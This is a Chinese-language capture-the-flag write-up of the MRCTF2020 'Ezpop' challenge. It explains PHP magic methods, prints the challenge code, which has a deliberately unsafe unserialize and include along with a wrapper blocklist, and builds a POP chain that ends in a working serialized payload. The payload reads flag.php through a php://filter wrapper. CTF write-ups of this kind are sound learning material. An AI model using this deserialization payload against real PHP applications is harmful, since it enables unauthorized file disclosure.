[MRCTF2020] Ezpop

发布于 2021-08-06  54 次阅读


知识点

魔术方法 __invoke():当尝试以调用函数的方式调用一个对象时,该方法会被自动调用

魔术方法__tostring():将一个对象当做一个字符串来使用时,会自动调用该方法,并且在该方法中,可以返回一定的字符串,以表明该对象转换为字符串之后的结果

魔术方法__get():获得一个类的成员变量时调用,通过它可以在对象的外部获取私有成员属性的值,访问不存在的属性或是受限的属性时调用

序列化Pop链:利用几个类之间相互关联进行构造

解题

打开题目,是php的代码,分析代码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

一共存在三个类,先来看第一个类

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

append()函数文件包含,注释中提到flag in flag.php因此,这里就是想办法 $value=flag.php

接下来利用魔术方法对函数赋值,因此我们需要,以调用函数的方法调用这个对象完成赋值

第二个类:

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

__wakeup()反序列化时自动调用,对$this->source做字符串比较,__toString返回str的source属性

第三个类:

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

__get()把$this->p当成函数返回

因此总结pop链的构造:

  • 首先实例化show类,此时反序列化会自动调用__wakeup通过preg_match()$this->source做字符串比较,如果$this->source是show类,就调用了__toString()方法
  • __toString会访问strsource属性,当str构造为Test类时,Test类不存在source属性,因此会调用__get方法
  • __get()方法将p作为函数使用,因此当p实例化为Modifier类时,就可以调用__invoke方法,因此使用伪协议读取flag.php

构造Exp:

image-20210110113435429

payload:?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A2%3A%22ad%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

image-20210110113511734